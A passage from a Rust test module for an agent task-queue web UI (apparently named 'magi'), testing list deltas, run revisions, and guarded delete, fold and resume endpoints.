18685 Source::Human,
18686 );
18687 blocked.block(vec![root.id.clone()], None);
18688 queue.put(&mut blocked).unwrap();
18689 let whole =
18690 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
18691 .unwrap();
18692 let subset = serde_json::to_value(
18693 queue_list(State(ui.clone()), query(Some(&root.id)))
18694 .await
18695 .unwrap()
18696 .0,
18697 )
18698 .unwrap();
18699 assert_eq!(whole, subset, "requested root plus its blocked dependent");
18700 let blockers = serde_json::to_value(
18701 queue_list(State(ui.clone()), query(Some("")))
18702 .await
18703 .unwrap()
18704 .0,
18705 )
18706 .unwrap();
18707 assert_eq!(blockers.as_array().unwrap().len(), 1);
18708 assert_eq!(blockers[0]["id"], blocked.id);
18709 assert_eq!(
18710 blockers[0]["waits_on"],
18711 whole
18712 .as_array()
18713 .unwrap()
18714 .iter()
18715 .find(|row| row["id"] == blocked.id)
18716 .unwrap()["waits_on"]
18717 );
18718
18719 for id in [
18720 "20260902-140501-aaaa",
18721 "20260902-140502-bbbb",
18722 "20260902-140503-cccc",
18723 ] {
18724 write_run(&ui.runs, id, RunStatus::Merged);
18725 }
18726 let old = serde_json::to_value(
18727 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
18728 .await
18729 .unwrap()
18730 .0,
18731 )
18732 .unwrap();
18733 assert!(
18734 old.as_array().unwrap().is_empty(),
18735 "older updates must not enter the window"
18736 );
18737 let newest = serde_json::to_value(
18738 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
18739 .await
18740 .unwrap()
18741 .0,
18742 )
18743 .unwrap();
18744 assert_eq!(newest.as_array().unwrap().len(), 1);
18745 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
18746
18747 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
18748 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
18749 let talks = serde_json::to_value(
18750 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
18751 .await
18752 .unwrap()
18753 .0,
18754 )
18755 .unwrap();
18756 assert_eq!(talks.as_array().unwrap().len(), 1);
18757 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
18758 assert_eq!(
18759 serde_json::to_value(
18760 talks_list(State(ui.clone()), query(Some("")))
18761 .await
18762 .unwrap()
18763 .0
18764 )
18765 .unwrap(),
18766 serde_json::json!([])
18767 );
18768 }
18769
18770 #[tokio::test]
18771 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
18772 async fn delta_payload_benchmark() {
18773 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
18774 let ui = delta_test_ui(&home);
18775 let query = |ids: Option<String>| {
18776 Query(ListQuery {
18777 limit: Some(50),
18778 ids,
18779 })
18780 };
18781 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
18782 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
18783 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
18784 let queue_id = queue
18785 .iter()
18786 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
18787 .unwrap_or(&queue[0])
18788 .task
18789 .id
18790 .clone();
18791 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
18792 .await
18793 .unwrap()
18794 .0;
18795 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
18796 .await
18797 .unwrap()
18798 .0;
18799 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
18800 .await
18801 .unwrap()
18802 .0;
18803 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
18804 eprintln!(
18805 "DELTA_PAYLOAD {}",
18806 serde_json::json!({
18807 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
18808 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
18809 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
18810 "counts": [queue.len(), runs.len(), talks.len()],
18811 "blocked": queue_delta.len() - 1,
18812 })
18813 );
18814 }
18815
18816 #[test]
18817 fn runs_revision_moves_when_deleting_an_older_run() {
18818 let temp = TempDir::new().expect("tempdir");
18819 let runs = temp.path().join("runs");
18820 std::fs::create_dir_all(&runs).expect("create runs dir");
18821
18822 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
18823
18824 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
18825 std::thread::sleep(Duration::from_millis(10));
18826 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
18827
18828 let rev_before = runs_revision(&runs);
18829 assert!(rev_before > 0);
18830
18831 let old_dir = runs.join("20260901-100000-old1");
18832 std::fs::remove_dir_all(&old_dir).expect("remove old run");
18833
18834 let rev_after = runs_revision(&runs);
18835 assert_ne!(
18836 rev_before, rev_after,
18837 "deleting an older run must change the revision so other clients see the deletion"
18838 );
18839 }
18840
18841 fn write_state(runs: &FsPath, state: &RunState) {
18846 let dir = runs.join(&state.id);
18847 std::fs::create_dir_all(&dir).expect("run dir");
18848 std::fs::write(
18849 dir.join("run.json"),
18850 serde_json::to_string_pretty(state).expect("serialize run"),
18851 )
18852 .expect("write run.json");
18853 }
18854
18855 #[test]
18860 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
18861 let temp = TempDir::new().expect("tempdir");
18862 let runs = temp.path().join("runs");
18863 std::fs::create_dir_all(&runs).expect("create runs dir");
18864 let mut state = RunState::new(
18865 PathBuf::from("/repo/magi"),
18866 "main".to_owned(),
18867 "0123456789abcdef".to_owned(),
18868 "task".to_owned(),
18869 Config::default(),
18870 );
18871 state.id = "20260902-100000-c0de".to_owned();
18872 write_state(&runs, &state);
18873
18874 let rev_idle = runs_revision(&runs);
18875 std::thread::sleep(Duration::from_millis(10));
18876 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
18877 write_state(&runs, &state);
18878 let rev_started = runs_revision(&runs);
18879 assert_ne!(
18880 rev_idle, rev_started,
18881 "a seat starting must move the revision"
18882 );
18883
18884 std::thread::sleep(Duration::from_millis(10));
18885 state.seat_finished("judge-1");
18886 write_state(&runs, &state);
18887 let rev_finished = runs_revision(&runs);
18888 assert_ne!(
18889 rev_started, rev_finished,
18890 "and clearing it again must move the revision a second time"
18891 );
18892 }
18893
18894 #[tokio::test]
18895 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
18896 let fx = Fixture::start().await;
18901 let q = fx.queue();
18902
18903 let mut t = Task::new(
18904 "Task".to_owned(),
18905 "Instruction".to_owned(),
18906 PathBuf::from("/repo"),
18907 Source::Human,
18908 );
18909 t.block(
18910 vec!["20260101-000000-dead".to_owned()],
18911 Some("waiting on Task 1".to_owned()),
18912 );
18913 t.answers.push(crate::queue::AnsweredQuestion {
18914 question: "Which backend?".to_owned(),
18915 answer: "SQLite".to_owned(),
18916 });
18917 q.put(&mut t).expect("put t");
18918
18919 let res = fx.get("/api/queue").await;
18920 assert_eq!(res.status, 200);
18921 let list = res.json();
18922 let view = list
18923 .as_array()
18924 .expect("array")
18925 .iter()
18926 .find(|v| v["id"] == t.id)
18927 .expect("task in list");
18928 assert_eq!(view["status_str"], "blocked");
18929 assert_eq!(
18930 view["blocked_by"],
18931 serde_json::json!(["20260101-000000-dead"])
18932 );
18933 assert_eq!(view["block_reason"], "waiting on Task 1");
18934 assert_eq!(view["answers"][0]["question"], "Which backend?");
18935 assert_eq!(view["answers"][0]["answer"], "SQLite");
18936
18937 let res = fx
18941 .post(&format!("/api/queue/{}/hold", t.short()), None)
18942 .await;
18943 assert_eq!(res.status, 200);
18944 let held = res.json();
18945 assert_eq!(held["status_str"], "held");
18946 assert_eq!(held["blocked_by"], serde_json::json!([]));
18947 assert!(held["block_reason"].is_null());
18948 assert_eq!(held["answers"][0]["answer"], "SQLite");
18949 }
18950
18951 #[tokio::test]
18952 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
18953 let fx = Fixture::start().await;
18954 let q = fx.queue();
18955 let mk = |title: &str| {
18956 Task::new(
18957 title.to_owned(),
18958 "Instruction".to_owned(),
18959 PathBuf::from("/repo"),
18960 Source::Human,
18961 )
18962 };
18963 let mut root = mk("root");
18964 root.hold_manual(Some("waiting".to_owned()));
18965 q.put(&mut root).unwrap();
18966 let mut mid = mk("mid");
18967 mid.block(vec![root.id.clone()], None);
18968 q.put(&mut mid).unwrap();
18969 let mut leaf = mk("leaf");
18970 leaf.block(vec![mid.id.clone()], None);
18971 q.put(&mut leaf).unwrap();
18972
18973 let list = fx.get("/api/queue").await.json();
18974 let find = |id: &str| {
18975 list.as_array()
18976 .unwrap()
18977 .iter()
18978 .find(|v| v["id"] == id)
18979 .unwrap()
18980 .clone()
18981 };
18982 let leaf_view = find(&leaf.id);
18983 assert_eq!(
18984 leaf_view["waits_on"],
18985 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
18986 );
18987 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
18988 assert_eq!(
18989 find(&mid.id)["waits_on"],
18990 serde_json::json!([format!("{} (held)", root.short())])
18991 );
18992 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
18993 }
18994
18995 #[tokio::test]
18996 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
18997 let fx = Fixture::start().await;
18998 let q = fx.queue();
18999
19000 let mut t1 = Task::new(
19002 "Task 1".to_owned(),
19003 "Instruction 1".to_owned(),
19004 PathBuf::from("/repo"),
19005 Source::Human,
19006 );
19007 let run_id = "20260901-000000-r111";
19008 t1.runs.push(run_id.to_owned());
19009 write_run(&fx.runs(), run_id, RunStatus::Merged);
19010 q.put(&mut t1).expect("put t1");
19011
19012 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
19014 assert_eq!(res.status, 204);
19015 assert!(res.body.is_empty(), "204 No Content has no body");
19016 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
19017 assert!(
19018 fx.runs().join(run_id).exists(),
19019 "run directory must not be deleted when its task is deleted"
19020 );
19021
19022 let mut t2 = Task::new(
19024 "Task 2".to_owned(),
19025 "Instruction 2".to_owned(),
19026 PathBuf::from("/repo"),
19027 Source::Human,
19028 );
19029 t2.status = TaskStatus::Running;
19030 q.put(&mut t2).expect("put t2");
19031 let mut beat = crate::daemon::Status::new();
19032 beat.current = vec![crate::daemon::Current {
19033 task: t2.id.clone(),
19034 run: "20260901-000000-r222".to_owned(),
19035 }];
19036 beat.updated_at = jiff::Timestamp::now();
19037 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19038 .expect("publish a heartbeat");
19039 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
19040 assert_eq!(res.status, 409);
19041 assert!(
19042 res.json()["error"]
19043 .as_str()
19044 .unwrap()
19045 .contains("live daemon")
19046 );
19047 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
19048
19049 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
19055 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19056 .expect("leave a stale heartbeat");
19057 let mut t3 = Task::new(
19058 "Task 3".to_owned(),
19059 "Instruction 3".to_owned(),
19060 PathBuf::from("/repo"),
19061 Source::Human,
19062 );
19063 t3.status = TaskStatus::Running;
19064 q.put(&mut t3).expect("put t3");
19065 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
19066 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
19067 assert_eq!(res.status, 204);
19068 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
19069 assert!(
19070 q.claim(&t3.id).is_ok(),
19071 "the stale lock went with it, so the id is claimable again"
19072 );
19073
19074 let res = fx.delete("/api/queue/nonexistent").await;
19076 assert_eq!(res.status, 404);
19077 }
19078
19079 #[tokio::test]
19080 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
19081 let fx = Fixture::start().await;
19082 let runs = fx.runs();
19083
19084 let run_id = "20260901-000000-fold";
19086 let mut state = RunState::new(
19087 PathBuf::from("/repo"),
19088 "main".to_owned(),
19089 "abc".to_owned(),
19090 "instruction".to_owned(),
19091 Config::default(),
19092 );
19093 state.id = run_id.to_owned();
19094 state.status = RunStatus::Merged;
19095 state.candidates.push(crate::run::Candidate {
19096 index: 0,
19097 label: 'A',
19098 agent: "a".to_owned(),
19099 branch: "b".to_owned(),
19100 worktree: PathBuf::from("/w"),
19101 summary: String::new(),
19102 stat: String::new(),
19103 files: 1,
19104 commits: 1,
19105 empty: false,
19106 failed: None,
19107 verified_noop: None,
19108 duration_ms: 0,
19109 folded: true,
19110 });
19111 let dir = runs.join(run_id);
19112 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
19113 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
19114 .expect("write artifact");
19115 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
19116 .expect("write run.json");
19117
19118 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
19120 assert_eq!(res.status, 204);
19121 assert!(res.body.is_empty(), "204 has no body");
19122 assert!(!dir.exists(), "run directory and artifacts must be deleted");
19123
19124 let run_running = "20260901-000000-rung";
19129 write_run(&runs, run_running, RunStatus::Prep);
19130 let mut beat = crate::daemon::Status::new();
19131 beat.current = vec![crate::daemon::Current {
19132 task: "20260901-000000-task".to_owned(),
19133 run: run_running.to_owned(),
19134 }];
19135 beat.updated_at = jiff::Timestamp::now();
19136 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19137 .expect("publish a heartbeat");
19138 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
19139 assert_eq!(res.status, 409);
19140 assert!(
19141 res.json()["error"]
19142 .as_str()
19143 .unwrap()
19144 .contains("live daemon"),
19145 "the refusal must say who is holding it"
19146 );
19147 assert!(
19148 runs.join(run_running).exists(),
19149 "a run in flight keeps its directory"
19150 );
19151
19152 let run_unfolded = "20260901-000000-unfd";
19154 let mut state2 = RunState::new(
19155 PathBuf::from("/repo"),
19156 "main".to_owned(),
19157 "abc".to_owned(),
19158 "instruction".to_owned(),
19159 Config::default(),
19160 );
19161 state2.id = run_unfolded.to_owned();
19162 state2.status = RunStatus::Ready;
19163 state2.candidates.push(crate::run::Candidate {
19164 index: 0,
19165 label: 'A',
19166 agent: "a".to_owned(),
19167 branch: "b".to_owned(),
19168 worktree: PathBuf::from("/w"),
19169 summary: String::new(),
19170 stat: String::new(),
19171 files: 1,
19172 commits: 1,
19173 empty: false,
19174 failed: None,
19175 verified_noop: None,
19176 duration_ms: 0,
19177 folded: false,
19178 });
19179 let dir2 = runs.join(run_unfolded);
19180 std::fs::create_dir_all(&dir2).expect("create dir2");
19181 std::fs::write(
19182 dir2.join("run.json"),
19183 serde_json::to_string(&state2).unwrap(),
19184 )
19185 .expect("write run.json");
19186
19187 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
19188 assert_eq!(res.status, 409);
19189 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
19190 assert!(dir2.exists(), "unfolded run directory is kept");
19191
19192 let res = fx.delete("/api/runs/nonexistent").await;
19194 assert_eq!(res.status, 404);
19195 }
19196
19197 #[test]
19206 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
19207 let start = APP_JS
19208 .find("function renderStats() {")
19209 .expect("renderStats");
19210 let end = start
19211 + APP_JS[start..]
19212 .find("function statsTile(")
19213 .expect("the next top-level function");
19214 let body = &APP_JS[start..end];
19215
19216 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
19217 let gate_end = gate_start
19218 + body[gate_start..]
19219 .find("}\n renderStatsQueue")
19220 .expect("the gate's own closing brace, right before the unconditional call");
19221 let gated = &body[gate_start..gate_end];
19222
19223 assert_eq!(
19224 body.matches("renderStatsQueue(").count(),
19225 1,
19226 "renderStats must call renderStatsQueue exactly once: {body}"
19227 );
19228 assert!(
19229 !gated.contains("renderStatsQueue"),
19230 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
19231 run-derived panels on an empty run history - the queue panel has to render \
19232 regardless: {gated}"
19233 );
19234 }
19235
19236 #[test]
19237 fn web_ui_delete_contract_in_front_end() {
19238 assert!(APP_JS.contains("deleteRun:"));
19240 assert!(APP_JS.contains("deleteTask:"));
19241
19242 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
19244 ..APP_JS.find("function renderRuns").unwrap()];
19245 assert!(!run_cards_slice.to_lowercase().contains("delete"));
19246
19247 assert!(APP_JS.contains("renderRunDelete"));
19249 assert!(APP_JS.contains("runDeleteReason"));
19250 assert!(APP_JS.contains("magi fold"));
19251 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
19252
19253 assert!(APP_JS.contains("cancel.focus"));
19255 assert!(APP_JS.contains("armedRunDelete"));
19256 assert!(APP_JS.contains("renderTaskDeleteBox"));
19257 assert!(APP_JS.contains("armed${cap(key)}"));
19258
19259 assert!(APP_JS.contains("disabled: status === \"running\""));
19261 }
19262
19263 #[test]
19283 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
19284 let build = APP_JS
19285 .find("function createRunCard")
19286 .expect("createRunCard exists");
19287 let update = APP_JS
19288 .find("function updateRunCard")
19289 .expect("updateRunCard exists");
19290 let end = APP_JS
19291 .find("function renderRuns")
19292 .expect("renderRuns exists");
19293
19294 let builder = &APP_JS[build..update];
19296 let open = builder.find("refs = {").expect("createRunCard sets refs");
19297 let literal = &builder[open + "refs = {".len()..];
19298 let close = literal.find('}').expect("the refs literal is closed");
19299 let published: HashSet<&str> = literal[..close]
19300 .split(',')
19301 .filter_map(|entry| entry.split(':').next())
19303 .map(str::trim)
19304 .filter(|name| !name.is_empty())
19305 .collect();
19306 assert!(
19307 published.len() > 5,
19308 "the refs literal did not parse into names: {published:?}"
19309 );
19310
19311 let mut used: Vec<&str> = Vec::new();
19314 let updaters = &APP_JS[update..end];
19315 for (at, _) in updaters.match_indices("r.") {
19316 let before = updaters[..at].chars().next_back();
19319 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
19320 continue;
19321 }
19322 let rest = &updaters[at + 2..];
19323 let len = rest
19324 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
19325 .unwrap_or(rest.len());
19326 if len > 0 {
19327 used.push(&rest[..len]);
19328 }
19329 }
19330 assert!(
19331 used.len() > 5,
19332 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
19333 );
19334
19335 let missing: Vec<&str> = used
19336 .iter()
19337 .copied()
19338 .filter(|name| !published.contains(name))
19339 .collect();
19340 assert!(
19341 missing.is_empty(),
19342 "a run card's updater reaches for {missing:?}, which `createRunCard` \
19343 never put in `refs` - every card will throw and the list will \
19344 render empty under a count line that says otherwise. Published: \
19345 {published:?}"
19346 );
19347 }
19348
19349 #[tokio::test]
19350 async fn folding_from_the_phone_reports_what_it_removed() {
19351 let fx = Fixture::start().await;
19352 let runs = fx.runs();
19353
19354 let id = "20260901-000000-fold";
19358 write_run(&runs, id, RunStatus::Stalled);
19359 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19360 assert_eq!(res.status, 200);
19361 assert_eq!(res.json()["removed_count"], 0);
19362 assert_eq!(res.json()["run"], id);
19363 assert!(
19364 runs.join(id).exists(),
19365 "a fold keeps the run's record; only the worktrees go"
19366 );
19367 }
19368
19369 #[tokio::test]
19370 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
19371 let fx = Fixture::start().await;
19372 let runs = fx.runs();
19373 let wt = fx.home.path().join("wt").join("magi").join("dead");
19374 let id = "20260901-000000-dead";
19375 std::fs::create_dir_all(runs.join(id)).expect("run dir");
19376 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
19377 std::fs::create_dir_all(&wt).expect("worktree dir");
19378
19379 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19380 assert_eq!(res.status, 200, "{}", res.body);
19381 assert!(
19382 res.json()["removed_count"].as_u64().unwrap() > 0,
19383 "the worktree this build could not read a state for still went"
19384 );
19385 assert!(
19386 !runs.join(id).exists(),
19387 "an unreadable run has no candidate list to fold selectively, so \
19388 the whole record goes - same as `magi fold` on the CLI"
19389 );
19390 }
19391
19392 #[tokio::test]
19393 async fn deleting_an_unreadable_run_removes_it_wholesale() {
19394 let fx = Fixture::start().await;
19395 let runs = fx.runs();
19396 let wt = fx.home.path().join("wt").join("magi").join("gone");
19397 let id = "20260901-000000-gone";
19398 std::fs::create_dir_all(runs.join(id)).expect("run dir");
19399 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
19400 std::fs::create_dir_all(&wt).expect("worktree dir");
19401
19402 let res = fx.delete(&format!("/api/runs/{id}")).await;
19403 assert_eq!(res.status, 204, "{}", res.body);
19404 assert!(!runs.join(id).exists(), "the broken record is gone");
19405 assert!(!wt.exists(), "its worktree is gone too");
19406 }
19407
19408 #[tokio::test]
19409 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
19410 let fx = Fixture::start().await;
19411 let runs = fx.runs();
19412 let id = "20260901-000000-live";
19413 write_run(&runs, id, RunStatus::Implementing);
19414
19415 let mut beat = crate::daemon::Status::new();
19416 beat.current = vec![crate::daemon::Current {
19417 task: "20260901-000000-task".to_owned(),
19418 run: id.to_owned(),
19419 }];
19420 beat.updated_at = jiff::Timestamp::now();
19421 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19422 .expect("publish a heartbeat");
19423
19424 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19425 assert_eq!(res.status, 409);
19426 assert!(
19427 res.json()["error"]
19428 .as_str()
19429 .unwrap()
19430 .contains("live daemon"),
19431 "folding under a running agent would pull its worktree away"
19432 );
19433 }
19434
19435 #[tokio::test]
19436 async fn fold_merged_requires_a_pr_url() {
19437 let fx = Fixture::start().await;
19438 let runs = fx.runs();
19439 let id = "20260901-000000-nourl";
19440 write_run(&runs, id, RunStatus::Blocked);
19441
19442 let res = fx
19443 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
19444 .await;
19445 assert_eq!(res.status, 400, "{}", res.body);
19446
19447 let blank = fx
19448 .post(
19449 &format!("/api/runs/{id}/fold-merged"),
19450 Some(r#"{"pr_url":" "}"#),
19451 )
19452 .await;
19453 assert_eq!(blank.status, 400, "{}", blank.body);
19454 }
19455
19456 #[tokio::test]
19457 async fn fold_merged_is_404_for_an_unknown_run() {
19458 let fx = Fixture::start().await;
19459 let res = fx
19460 .post(
19461 "/api/runs/nosuchrun/fold-merged",
19462 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19463 )
19464 .await;
19465 assert_eq!(res.status, 404, "{}", res.body);
19466 }
19467
19468 #[tokio::test]
19469 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
19470 let fx = Fixture::start().await;
19471 let runs = fx.runs();
19472 let id = "20260901-000000-livemerge";
19473 write_run(&runs, id, RunStatus::Blocked);
19474
19475 let mut beat = crate::daemon::Status::new();
19476 beat.current = vec![crate::daemon::Current {
19477 task: "20260901-000000-task".to_owned(),
19478 run: id.to_owned(),
19479 }];
19480 beat.updated_at = jiff::Timestamp::now();
19481 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19482 .expect("publish a heartbeat");
19483
19484 let res = fx
19485 .post(
19486 &format!("/api/runs/{id}/fold-merged"),
19487 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19488 )
19489 .await;
19490 assert_eq!(res.status, 409, "{}", res.body);
19491 assert!(
19492 res.json()["error"]
19493 .as_str()
19494 .unwrap()
19495 .contains("live daemon"),
19496 "correcting a run's merge underneath a running agent would race \
19497 whatever it is doing to the same `status`/`merge` fields"
19498 );
19499 }
19500
19501 #[tokio::test]
19506 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
19507 let fx = Fixture::start().await;
19508 let runs = fx.runs();
19509 let id = "20260901-000000-unconfirmed";
19510 write_run(&runs, id, RunStatus::Blocked);
19511
19512 let res = fx
19513 .post(
19514 &format!("/api/runs/{id}/fold-merged"),
19515 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19516 )
19517 .await;
19518 assert_eq!(res.status, 400, "{}", res.body);
19519 assert_eq!(
19520 read_run(&runs, id).unwrap().status,
19521 RunStatus::Blocked,
19522 "a pull request that could not be confirmed merged must leave \
19523 the run exactly where it was"
19524 );
19525 }
19526
19527 #[tokio::test]
19528 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
19529 let fx = Fixture::start().await;
19530 let runs = fx.runs();
19531
19532 for (status, word) in [
19538 (RunStatus::Merged, "merged"),
19539 (RunStatus::Ready, "ready"),
19540 (RunStatus::Failed, "failed"),
19541 ] {
19542 let id = format!("20260901-000000-{}", &word[..4]);
19543 write_run(&runs, &id, status);
19544 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
19545 assert_eq!(res.status, 409, "{word} must not be resumable");
19546 let err = res.json()["error"].as_str().unwrap().to_owned();
19547 assert!(err.contains(word), "the refusal names the status: {err}");
19548 }
19549
19550 let mid = "20260901-000000-midf";
19555 write_run(&runs, mid, RunStatus::Reviewing);
19556 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
19557 assert_eq!(res.status, 202, "an interrupted run is resumable");
19558 }
19559
19560 #[tokio::test]
19561 async fn resume_is_refused_while_the_loop_is_running() {
19562 let fx = Fixture::start().await;
19563 let runs = fx.runs();
19564 let stalled = "20260901-000000-stal";
19565 write_run(&runs, stalled, RunStatus::Stalled);
19566
19567 let mut beat = crate::daemon::Status::new();
19571 beat.current = vec![crate::daemon::Current {
19572 task: "20260901-000000-task".to_owned(),
19573 run: "20260901-000000-othr".to_owned(),
19574 }];
19575 beat.updated_at = jiff::Timestamp::now();
19576 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19577 .expect("publish a heartbeat");
19578
19579 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
19580 assert_eq!(res.status, 409);
19581 let err = res.json()["error"].as_str().unwrap().to_owned();
19582 assert!(err.contains("othr"), "it names what the loop is on: {err}");
19583 assert!(err.contains("stop it first"), "{err}");
19584 }
19585
19586 #[test]
19587 fn a_run_cannot_be_resumed_twice_at_once() {
19588 let home = TempDir::new().expect("temp home");
19589 let ui = Ui::new(
19590 Queue::at(home.path().join("queue")),
19591 Questions::at(home.path().join("questions")),
19592 Talks::at(home.path().join("talks")),
19593 home.path().join("runs"),
19594 home.path().to_path_buf(),
19595 PathBuf::from("/repo"),
19596 )
19597 .with_worktrees_root(home.path().join("wt"));
19598 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
19599 let again = ui.begin_resume("20260901-000000-once");
19600 assert!(again.is_err(), "a second tap must not start a second graph");
19601 drop(first);
19602 assert!(
19603 ui.begin_resume("20260901-000000-once").is_ok(),
19604 "and the claim is released when the attempt ends"
19605 );
19606 }
19607
19608 #[test]
19609 fn talk_thinking_tracks_only_its_held_turn_claim() {
19610 let home = TempDir::new().expect("temp home");
19611 let ui = Ui::new(
19612 Queue::at(home.path().join("queue")),
19613 Questions::at(home.path().join("questions")),
19614 Talks::at(home.path().join("talks")),
19615 home.path().join("runs"),
19616 home.path().to_path_buf(),
19617 PathBuf::from("/repo"),
19618 )
19619 .with_worktrees_root(home.path().join("wt"));
19620 let id = "20260901-000000-once";
19621
19622 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
19623 let turn = ui.begin_talk_turn(id).expect("claim turn");
19624 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
19625 assert!(
19626 !ui.is_thinking("20260901-000000-other"),
19627 "one talk's turn does not make another talk busy"
19628 );
19629 drop(turn);
19630 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
19631 }
19632
19633 #[test]
19634 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
19635 let home = TempDir::new().expect("temp home");
19636 let talks = Talks::at(home.path().join("talks"));
19637 let ui = Ui::new(
19638 Queue::at(home.path().join("queue")),
19639 Questions::at(home.path().join("questions")),
19640 talks.clone(),
19641 home.path().join("runs"),
19642 home.path().to_path_buf(),
19643 PathBuf::from("/repo"),
19644 )
19645 .with_worktrees_root(home.path().join("wt"));
19646 let id = "20260901-000000-cross";
19647
19648 let other = Talks::at(home.path().join("talks"))
19649 .claim_turn(id)
19650 .expect("claim")
19651 .expect("the other process wins");
19652 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
19653 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
19654 assert!(
19655 matches!(
19656 ui.begin_talk_turn_unless_pending(id).expect("start"),
19657 TalkTurnStart::Foreign
19658 ),
19659 "a foreign holder is refused, not queued behind"
19660 );
19661 assert!(
19662 !ui.talk_turns.lock().unwrap().live.contains(id),
19663 "a refused claim leaves no in-process entry behind"
19664 );
19665 drop(other);
19666 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
19667 assert!(talks.turn_held(id), "the web turn holds the lease");
19668 drop(turn);
19669 assert!(
19670 !talks.turn_held(id),
19671 "dropping the guard releases the lease"
19672 );
19673 }
19674
19675 fn consult_question(ui: &Ui) -> Question {
19676 let mut q = Question::new(
19677 "20260901-000000-consult".to_owned(),
19678 "implement".to_owned(),
19679 "impl-A".to_owned(),
19680 "Which backend?".to_owned(),
19681 String::new(),
19682 vec!["SQLite".to_owned(), "Redis".to_owned()],
19683 );
19684 ui.questions.put(&mut q).expect("question");
19685 q
19686 }
19687
